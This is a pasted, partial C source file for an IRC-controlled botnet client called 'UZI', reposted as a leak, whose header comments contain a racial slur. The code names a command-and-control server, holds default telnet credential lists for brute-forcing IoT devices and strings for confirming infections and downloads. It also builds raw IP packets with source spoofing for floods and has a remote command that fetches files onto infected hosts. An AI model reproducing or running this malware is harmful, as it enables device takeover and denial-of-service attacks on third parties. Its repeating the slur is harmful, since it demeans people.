SHOW:
|
|
- or go back to the newest paste.
1 | // Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger) | |
2 | // Leaked by unknown, reposted by Scarface. 23/5/2018 | |
3 | #define STARTUP | |
4 | #undef IDENT | |
5 | #define FAKENAME "-bash" | |
6 | #define cnport 9394 | |
7 | #define BOTuser "h4kkr uzi bot written by ZH" | |
8 | #define BOTident "UZI" | |
9 | #define CHAN "#" | |
10 | #define KEY "" | |
11 | #define PREFIX "[ZS]" | |
12 | #define CMD_IAC 255 | |
13 | #define CMD_WILL 251 | |
14 | #define CMD_WONT 252 | |
15 | #define CMD_DO 253 | |
16 | #define CMD_DONT 254 | |
17 | #define PAD_RIGHT 1 | |
18 | #define PAD_ZERO 2 | |
19 | #define PRINT_BUF_LEN 12 | |
20 | #define OPT_SGA 3 | |
21 | #define SOCKBUF_SIZE 1024 | |
22 | #define MAX_NICK_LENGTH 31 | |
23 | #define NUM_ADMINS 2 | |
24 | #define NUM_THREADS 150 | |
25 | #define PHI 0x9e3779b9 | |
26 | #include <stdarg.h> | |
27 | #include <pthread.h> | |
28 | #include <errno.h> | |
29 | #include <stdio.h> | |
30 | #include <stdlib.h> | |
31 | #include <string.h> | |
32 | #include <sys/types.h> | |
33 | #include <sys/stat.h> | |
34 | #include <fcntl.h> | |
35 | #include <strings.h> | |
36 | #include <netinet/in.h> | |
37 | #include <unistd.h> | |
38 | #include <sys/time.h> | |
39 | #include <sys/socket.h> | |
40 | #include <signal.h> | |
41 | #include <arpa/inet.h> | |
42 | #include <netdb.h> | |
43 | #include <time.h> | |
44 | #include <sys/wait.h> | |
45 | #include <sys/ioctl.h> | |
46 | #include <net/if.h> | |
47 | #include <netinet/ip.h> | |
48 | #include <netinet/tcp.h> | |
49 | //####################### | |
50 | //########UZI############ | |
51 | //####################### | |
52 | // God bot written by ZH The Lord. | |
53 | ||
54 | char encodes[] = { | |
55 | '<', '>', '@', '_', ';', ':', ',', '.', '-', '+', '*', '^', '?', '=', ')', '(', | |
56 | '|', 'A', 'B', '&', '%', '$', 'D', '"', '!', 'w', 'k', 'y', 'x', 'z', 'v', 'u', | |
57 | 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'i', 'h', 'g', 'f', 'e', 'd', 'c', | |
58 | 'b', 'a', '~', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'F', 'U', 'C', 'K' | |
59 | }; | |
60 | ||
61 | char decodes[] = { | |
62 | '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', | |
63 | 'g', 'h', 'i', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'z', 'y', | |
64 | 'w', 'k', 'x', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'L', 'M', 'N', 'O', | |
65 | 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'Z', 'Y', 'W', 'K', 'X', '|', ':', '.', ' ' | |
66 | }; | |
67 | ||
68 | char encoded[512], decoded[512]; | |
69 | ||
70 | void encode(char *str) { | |
71 | int x = 0, i = 0, c; | |
72 | ||
73 | memset(encoded, 0, sizeof(encoded)); | |
74 | while (x < strlen(str)) { | |
75 | for (c = 0; c <= sizeof(decodes); c++) { | |
76 | if (str[x] == decodes[c]) { | |
77 | encoded[i] = encodes[c]; | |
78 | i++; | |
79 | } | |
80 | } | |
81 | ||
82 | x++; | |
83 | } | |
84 | ||
85 | encoded[i] = '\0'; | |
86 | return; | |
87 | } | |
88 | ||
89 | void decode(char *str) { | |
90 | int x = 0, i = 0, c; | |
91 | ||
92 | memset(decoded, 0, sizeof(decoded)); | |
93 | ||
94 | while (x < strlen(str)) { | |
95 | for (c = 0; c <= sizeof(encodes); c++) { | |
96 | if (str[x] == encodes[c]) { | |
97 | decoded[i] = decodes[c]; | |
98 | i++; | |
99 | } | |
100 | } | |
101 | ||
102 | x++; | |
103 | } | |
104 | ||
105 | decoded[i] = '\0'; | |
106 | return; | |
107 | } | |
108 | int numservers=1; | |
109 | int *maxtime=3600; | |
110 | char *servers[] = { | |
111 | "lol.r00ts.ninja", | |
112 | (void*)0 | |
113 | }; | |
114 | ||
115 | int *maxSTDpacketsize=4096; | |
116 | char *strng; | |
117 | char *strng2; | |
118 | int *setpacketsize; | |
119 | int *maxthreads=2048; | |
120 | int *threadamount; | |
121 | ||
122 | ||
123 | char admins[NUM_ADMINS][MAX_NICK_LENGTH] = {"ZoneHax", "ZH"}; | |
124 | ||
125 | ||
126 | ||
127 | const char *UserAgents[] = { | |
128 | "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/", | |
129 | "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)", | |
130 | "zspider/0.9-dev http://feedback.redkolibri.com/", | |
131 | "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
132 | "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
133 | "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)", | |
134 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
135 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
136 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)", | |
137 | "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )", | |
138 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)", | |
139 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)", | |
140 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)", | |
141 | ||
142 | "msnbot/0.9 (+http://search.msn.com/msnbot.htm)", | |
143 | "msnbot/0.11 ( http://search.msn.com/msnbot.htm)", | |
144 | "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)", | |
145 | "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)", | |
146 | "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)", | |
147 | "NetResearchServer/4.0(loopimprovements.com/robot.html)", | |
148 | "NetResearchServer/3.5(loopimprovements.com/robot.html)", | |
149 | "NetResearchServer/2.8(loopimprovements.com/robot.html)", | |
150 | "NetResearchServer/2.7(loopimprovements.com/robot.html)", | |
151 | "NetResearchServer/2.5(loopimprovements.com/robot.html)", | |
152 | "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", | |
153 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)", | |
154 | "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)", | |
155 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)", | |
156 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", | |
157 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ", | |
158 | "Googlebot/2.1 (http://www.googlebot.com/bot.html)", | |
159 | "Opera/9.20 (Windows NT 6.0; U; en)", | |
160 | "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", | |
161 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", | |
162 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)", | |
163 | "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0", | |
164 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)", | |
165 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16", | |
166 | "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", | |
167 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13", | |
168 | "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)", | |
169 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", | |
170 | "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", | |
171 | "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)", | |
172 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0", | |
173 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)", | |
174 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8", | |
175 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", | |
176 | "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", | |
177 | "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", | |
178 | "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", | |
179 | "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51", | |
180 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6", | |
181 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0", | |
182 | "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1" | |
183 | }; | |
184 | char *getBuild() { //detect nearly every architecture. Coded by ZoneHax | |
185 | #if defined(__x86_64__) || defined(_M_X64) | |
186 | return "x86_64"; | |
187 | #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86) | |
188 | return "x86_32"; | |
189 | #elif defined(__ARM_ARCH_2__) | |
190 | return "ARM2"; | |
191 | #elif defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__) | |
192 | return "ARM3"; | |
193 | #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T) | |
194 | return "ARM4T"; | |
195 | #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_) | |
196 | return "ARM5" | |
197 | #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_) | |
198 | return "ARM6T2"; | |
199 | #elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) | |
200 | return "ARM6"; | |
201 | #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__) | |
202 | return "ARM7"; | |
203 | #elif defined(__aarch64__) | |
204 | return "ARM64"; | |
205 | #elif defined(mips) || defined(__mips__) || defined(__mips) | |
206 | return "MIPS"; | |
207 | #elif defined(__sh__) | |
208 | return "SUPERH"; | |
209 | #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64) | |
210 | return "POWERPC"; | |
211 | #elif defined(__sparc__) || defined(__sparc) | |
212 | return "SPARC"; | |
213 | #elif defined(__m68k__) | |
214 | return "M68K"; | |
215 | #else | |
216 | return "UNKNOWN"; | |
217 | #endif | |
218 | } | |
219 | // Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger) | |
220 | // Leaked by unknown, reposted by Scarface. 23/5/2018 | |
221 | char *uziusernames[] = { | |
222 | "telnet\0", "root\0","root\0","admin\0","admin\0","user\0","login\0", | |
223 | "guest\0", "support\0","root\0","root\0","CISCO\0","oracle\0","tim\0", | |
224 | "root\0","root\0","root\0","root\0","root\0","root\0","root\0","root\0", | |
225 | "support\0","root\0","admin\0","root\0","user\0","admin\0","root\0", | |
226 | "admin\0","root\0","admin\0","admin\0","root\0","root\0","root\0", | |
227 | "root\0","Administrator\0","service\0","supervisor\0","guest\0", | |
228 | "guest\0","guest\0","admin1\0","administrator\0","666666\0", | |
229 | "888888\0","ubnt\0","klv1234\0","Zte521\0","hi3518\0", | |
230 | "jvbzd\0","anko\0","zlxx\0","7ujMko0vizxv\0","7ujMko0admin\0", | |
231 | "system\0","ikwb\0","dreambox\0","user\0","realtek\0", | |
232 | "00000000\0", "1111111\0","1234\0","12345\0", | |
233 | "54321\0","123456\0","7ujMko0admin\0", | |
234 | "1234\0", "pass\0", "meinsm\0", "tech\0", "fucker\0", | |
235 | }; | |
236 | char *uzipasswords[] = { | |
237 | "telnet\0","root\0","admin\0","admin\0","toor\0","admin\0", | |
238 | "user\0","guest\0","login\0","changeme\0","1234\0","12345\0", | |
239 | "123456\0","default\0","pass\0","password\0","support\0","\0", | |
240 | "maxided\0","oracle\0","tim\0","xc3511\0","vizxv\0","888888\0", | |
241 | "xmhdipc\0","default\0","juantech\0","123456\0","54321\0","support\0", | |
242 | "\0","password\0","12345\0","user\0","\0","pass\0","admin1234\0","1111\0", | |
243 | "smcadmin\0","1111\0","666666\0","password\0","1234\0","klv123\0","admin\0", | |
244 | "service\0","supervisor\0","guest\0","12345\0","password\0","1234\0", | |
245 | "666666\0","888888\0","ubnt\0","klv1234\0","Zte521\0","hi3518\0", | |
246 | "jvbzd\0","anko\0","zlxx\0","7ujMko0vizxv\0","7ujMko0admin\0", | |
247 | "system\0","ikwb\0","dreambox\0","user\0","realtek\0","00000000\0", | |
248 | "1111111\0","1234\0","12345\0","54321\0","123456\0","7ujMko0admin\0", | |
249 | "1234\0","pass\0","meinsm\0","tech\0","fucker\0", | |
250 | }; | |
251 | ||
252 | int scanPid = 0; | |
253 | ||
254 | char *advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", "assword:", (char*)0}; | |
255 | char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0}; | |
256 | char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", (char*)0}; | |
257 | char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0}; | |
258 | char *infectconfirm = "UZI"; | |
259 | char *downloadingbin = {"ownloading", "onnecting to", "% |", "ETA", (char*)0}; // checks if wget is grabbing file. | |
260 | ||
261 | struct telstate_t { | |
262 | int fd; | |
263 | unsigned int ip; | |
264 | unsigned char state; | |
265 | unsigned char complete; | |
266 | unsigned char usernameInd; /* username */ | |
267 | unsigned char passwordInd; /* password */ | |
268 | unsigned char tempDirInd; /* tempdir */ | |
269 | unsigned int tTimeout; /* totalTimeout */ | |
270 | unsigned short bufUsed; | |
271 | char *sockbuf; | |
272 | }; | |
273 | ||
274 | struct thread_args{ | |
275 | int iSTD_Sock; | |
276 | struct sockaddr_in *sin; | |
277 | }; | |
278 | ||
279 | int sock,changeservers=0; | |
280 | char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256]; | |
281 | unsigned int *pids, actualparent; | |
282 | unsigned long spoofs=0, spoofsm=0, numpids=0; | |
283 | static uint32_t Q[4096], c = 362436; | |
284 | struct in_addr ourIP; | |
285 | unsigned char macAddress[6] = {0}; | |
286 | int strwildmatch(const char* pattern, const char* string) { | |
287 | switch(*pattern) { | |
288 | case '\0': return *string; | |
289 | case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
290 | case '?': return !(*string && !strwildmatch(pattern+1, string+1)); | |
291 | default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1)); | |
292 | } | |
293 | } | |
294 | ||
295 | uint32_t rand_cmwc(void) | |
296 | { | |
297 | uint64_t t, a = 18782LL; | |
298 | static uint32_t i = 4095; | |
299 | uint32_t x, r = 0xfffffffe; | |
300 | i = (i + 1) & 4095; | |
301 | t = a * Q[i] + c; | |
302 | c = (uint32_t)(t >> 32); | |
303 | x = t + c; | |
304 | if (x < c) { | |
305 | x++; | |
306 | c++; | |
307 | } | |
308 | return (Q[i] = r - x); | |
309 | } | |
310 | int sclose(int fd) { | |
311 | if(3 > fd) return 1; | |
312 | close(fd); | |
313 | return 0; | |
314 | } | |
315 | unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) | |
316 | { | |
317 | int got = 1, total = 0; | |
318 | while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; } | |
319 | return got == 0 ? NULL : buffer; | |
320 | } | |
321 | int getOurIP() | |
322 | { | |
323 | int sock = socket(AF_INET, SOCK_DGRAM, 0); | |
324 | if(sock == -1) return 0; | |
325 | ||
326 | struct sockaddr_in serv; | |
327 | memset(&serv, 0, sizeof(serv)); | |
328 | serv.sin_family = AF_INET; | |
329 | serv.sin_addr.s_addr = inet_addr("8.8.8.8"); | |
330 | serv.sin_port = htons(53); | |
331 | ||
332 | int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv)); | |
333 | if(err == -1) return 0; | |
334 | ||
335 | struct sockaddr_in name; | |
336 | socklen_t namelen = sizeof(name); | |
337 | err = getsockname(sock, (struct sockaddr*) &name, &namelen); | |
338 | if(err == -1) return 0; | |
339 | ||
340 | ourIP.s_addr = name.sin_addr.s_addr; | |
341 | ||
342 | int cmdline = open("/proc/net/route", O_RDONLY); | |
343 | char linebuf[4096]; | |
344 | while(fdgets(linebuf, 4096, cmdline) != NULL) | |
345 | { | |
346 | if(strstr(linebuf, "\t00000000\t") != NULL) | |
347 | { | |
348 | unsigned char *pos = linebuf; | |
349 | while(*pos != '\t') pos++; | |
350 | *pos = 0; | |
351 | break; | |
352 | } | |
353 | memset(linebuf, 0, 4096); | |
354 | } | |
355 | close(cmdline); | |
356 | ||
357 | if(*linebuf) | |
358 | { | |
359 | int i; | |
360 | struct ifreq ifr; | |
361 | strcpy(ifr.ifr_name, linebuf); | |
362 | ioctl(sock, SIOCGIFHWADDR, &ifr); | |
363 | for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i]; | |
364 | } | |
365 | ||
366 | close(sock); | |
367 | } | |
368 | int realrand(int low, int high) { | |
369 | srand(time(NULL) + getpid()); | |
370 | return (rand() % (high + 1 - low) + low); | |
371 | } | |
372 | void makeRandomShit(unsigned char *buf, int length) { | |
373 | srand(time(NULL)); | |
374 | int i = 0; | |
375 | for(i = 0; i < length; i++) buf[i] = rand(); | |
376 | } | |
377 | void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) | |
378 | { | |
379 | iph->ihl = 5; | |
380 | iph->version = 4; | |
381 | iph->tos = 0; | |
382 | iph->tot_len = sizeof(struct iphdr) + packetSize; | |
383 | iph->id = rand_cmwc(); | |
384 | iph->frag_off = 0; | |
385 | iph->ttl = MAXTTL; | |
386 | iph->protocol = protocol; | |
387 | iph->check = 0; | |
388 | iph->saddr = source; | |
389 | iph->daddr = dest; | |
390 | } | |
391 | int Send(int sock, char *words, ...) { | |
392 | static char textBuffer[1024]; | |
393 | va_list args; | |
394 | va_start(args, words); | |
395 | vsprintf(textBuffer, words, args); | |
396 | va_end(args); | |
397 | return write(sock,textBuffer,strlen(textBuffer)); | |
398 | } | |
399 | int mfork(char *sender) { | |
400 | unsigned int parent, *newpids, i; | |
401 | if (disabled == 1) { | |
402 | Send(sock,"NOTICE %s :Unable to comply.\n",sender); | |
403 | return 1; | |
404 | } | |
405 | parent=fork(); | |
406 | if (parent <= 0) return parent; | |
407 | numpids++; | |
408 | newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); | |
409 | for (i=0;i<numpids-1;i++) newpids[i]=pids[i]; | |
410 | newpids[numpids-1]=parent; | |
411 | free(pids); | |
412 | pids=newpids; | |
413 | return parent; | |
414 | } | |
415 | unsigned long getspoof() { | |
416 | if (!spoofs) return rand(); | |
417 | if (spoofsm == 1) return ntohl(spoofs); | |
418 | return ntohl(spoofs+(rand() % spoofsm)+1); | |
419 | } | |
420 | ||
421 | void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; } | |
422 | char *makestring() { | |
423 | char *tmp; | |
424 | int len=(rand()%5)+4,i; | |
425 | FILE *file; | |
426 | tmp=(char*)malloc(len+1); | |
427 | memset(tmp,0,len+1); | |
428 | if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65; | |
429 | else { | |
430 | int a=((rand()*rand())%45402)+1; | |
431 | char buf[1024]; | |
432 | for (i=0;i<a;i++) fgets(buf,1024,file); | |
433 | memset(buf,0,1024); | |
434 | fgets(buf,1024,file); | |
435 | filter(buf); | |
436 | memcpy(tmp,buf,len); | |
437 | fclose(file); | |
438 | } | |
439 | return tmp; | |
440 | } | |
441 | void identd() { | |
442 | int sockname,sockfd,sin_size,tmpsock,i; | |
443 | struct sockaddr_in my_addr,their_addr; | |
444 | char szBuffer[1024]; | |
445 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return; | |
446 | my_addr.sin_family = AF_INET; | |
447 | my_addr.sin_port = htons(113); | |
448 | my_addr.sin_addr.s_addr = INADDR_ANY; | |
449 | memset(&(my_addr.sin_zero), 0, 8); | |
450 | if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return; | |
451 | if (listen(sockfd, 1) == -1) return; | |
452 | if (fork() == 0) return; | |
453 | sin_size = sizeof(struct sockaddr_in); | |
454 | if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0); | |
455 | for(;;) { | |
456 | fd_set bla; | |
457 | struct timeval timee; | |
458 | FD_ZERO(&bla); | |
459 | FD_SET(tmpsock,&bla); | |
460 | timee.tv_sec=timee.tv_usec=60; | |
461 | if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); | |
462 | if (FD_ISSET(tmpsock,&bla)) break; | |
463 | } | |
464 | i = recv(tmpsock,szBuffer,1024,0); | |
465 | if (i <= 0 || i >= 20) exit(0); | |
466 | szBuffer[i]=0; | |
467 | if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; | |
468 | if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0; | |
469 | Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident); | |
470 | close(tmpsock); | |
471 | close(sockfd); | |
472 | exit(0); | |
473 | } | |
474 | long pow(long a, long b) { | |
475 | if (b == 0) return 1; | |
476 | if (b == 1) return a; | |
477 | return a*pow(a,b-1); | |
478 | } | |
479 | u_short in_cksum(u_short *addr, int len) { | |
480 | register int nleft = len; | |
481 | register u_short *w = addr; | |
482 | register int sum = 0; | |
483 | u_short answer =0; | |
484 | while (nleft > 1) { | |
485 | sum += *w++; | |
486 | nleft -= 2; | |
487 | } | |
488 | if (nleft == 1) { | |
489 | *(u_char *)(&answer) = *(u_char *)w; | |
490 | sum += answer; | |
491 | } | |
492 | sum = (sum >> 16) + (sum & 0xffff); | |
493 | sum += (sum >> 16); | |
494 | answer = ~sum; | |
495 | return(answer); | |
496 | } | |
497 | void get(int sock, char *sender, int argc, char **argv) { | |
498 | int sock2,i,d; | |
499 | struct sockaddr_in server; | |
500 | unsigned long ipaddr; | |
501 | char buf[1024]; | |
502 | FILE *file; | |
503 | unsigned char bufm[4096]; | |
504 | if (mfork(sender) != 0) return; | |
505 | if (argc < 2) { | |
506 | Send(sock,"NOTICE %s :GET <host> <save as>\n",sender); | |
507 | exit(0); | |
508 | } | |
509 | if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) { | |
510 | Send(sock,"NOTICE %s :Unable to create socket.\n",sender); | |
511 | exit(0); | |
512 | } | |
513 | if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7); | |
514 | else strcpy(buf,argv[1]); | |
515 | for (i=0;i<strlen(buf) && buf[i] != '/';i++); | |
516 | buf[i]=0; | |
517 | server.sin_family = AF_INET; | |
518 | server.sin_port = htons(80); | |
519 | if ((ipaddr = inet_addr(buf)) == -1) { | |
520 | struct hostent *hostm; | |
521 | if ((hostm=gethostbyname(buf)) == NULL) { | |
522 | Send(sock,"NOTICE %s :Unable to resolve address.\n",sender); | |
523 | exit(0); | |
524 | } | |
525 | memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length); | |
526 | } | |
527 | else server.sin_addr.s_addr = ipaddr; | |
528 | memset(&(server.sin_zero), 0, 8); | |
529 | if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) { | |
530 | Send(sock,"NOTICE %s :Unable to connect to http.\n",sender); | |
531 | exit(0); | |
532 | } | |
533 | ||
534 | Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf); | |
535 | Send(sock,"NOTICE %s :Receiving file.\n",sender); | |
536 | file=fopen(argv[2],"wb"); | |
537 | while(1) { | |
538 | int i; | |
539 | if ((i=recv(sock2,bufm,4096,0)) <= 0) break; | |
540 | if (i < 4096) bufm[i]=0; | |
541 | for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) { | |
542 | for (d+=4;d<i;d++) fputc(bufm[d],file); | |
543 | goto done; | |
544 | } | |
545 | } | |
546 | done: | |
547 | Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]); | |
548 | while(1) { | |
549 | int i,d; | |
550 | if ((i=recv(sock2,bufm,4096,0)) <= 0) break; | |
551 | if (i < 4096) bufm[i]=0; | |
552 | for (d=0;d<i;d++) fputc(bufm[d],file); | |
553 | } | |
554 | fclose(file); | |
555 | close(sock2); | |
556 | exit(0); | |
557 | } | |
558 | void getspoofs(int sock, char *sender, int argc, char **argv) { | |
559 | unsigned long a=spoofs,b=spoofs+(spoofsm-1); | |
560 | if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]); | |
561 | else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]); | |
562 | } | |
563 | void version(int sock, char *sender, int argc, char **argv) { | |
564 | Send(sock,"NOTICE %s : Version 2\n",sender); | |
565 | } | |
566 | void nickc(int sock, char *sender, int argc, char **argv) { | |
567 | if (argc != 1) { | |
568 | Send(sock,"NOTICE %s :7NICK <nick>\n",sender); | |
569 | return; | |
570 | } | |
571 | if (strlen(argv[1]) >= 10) { | |
572 | Send(sock,"NOTICE %s :7Nick cannot be larger than 9 characters.\n",sender); | |
573 | return; | |
574 | } | |
575 | Send(sock,"NICK %s\n",argv[1]); | |
576 | } | |
577 | void disable(int sock, char *sender, int argc, char **argv) { | |
578 | if (argc != 1) { | |
579 | Send(sock,"NOTICE %s :7DISABLE <pass>\n",sender); | |
580 | Send(sock,"NOTICE %s :7Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders"); | |
581 | return; | |
582 | } | |
583 | if (disabled) { | |
584 | Send(sock,"NOTICE %s :7Already disabled.\n",sender); | |
585 | return; | |
586 | } | |
587 | if (strlen(argv[1]) > 254) { | |
588 | Send(sock,"NOTICE %s :7Password too long! > 254\n",sender); | |
589 | return; | |
590 | } | |
591 | disabled=1; | |
592 | memset(dispass,0,256); | |
593 | strcpy(dispass,argv[1]); | |
594 | Send(sock,"NOTICE %s :7Disable successful.\n"); | |
595 | } | |
596 | void enable(int sock, char *sender, int argc, char **argv) { | |
597 | if (argc != 1) { | |
598 | Send(sock,"NOTICE %s :7ENABLE <pass>\n",sender); | |
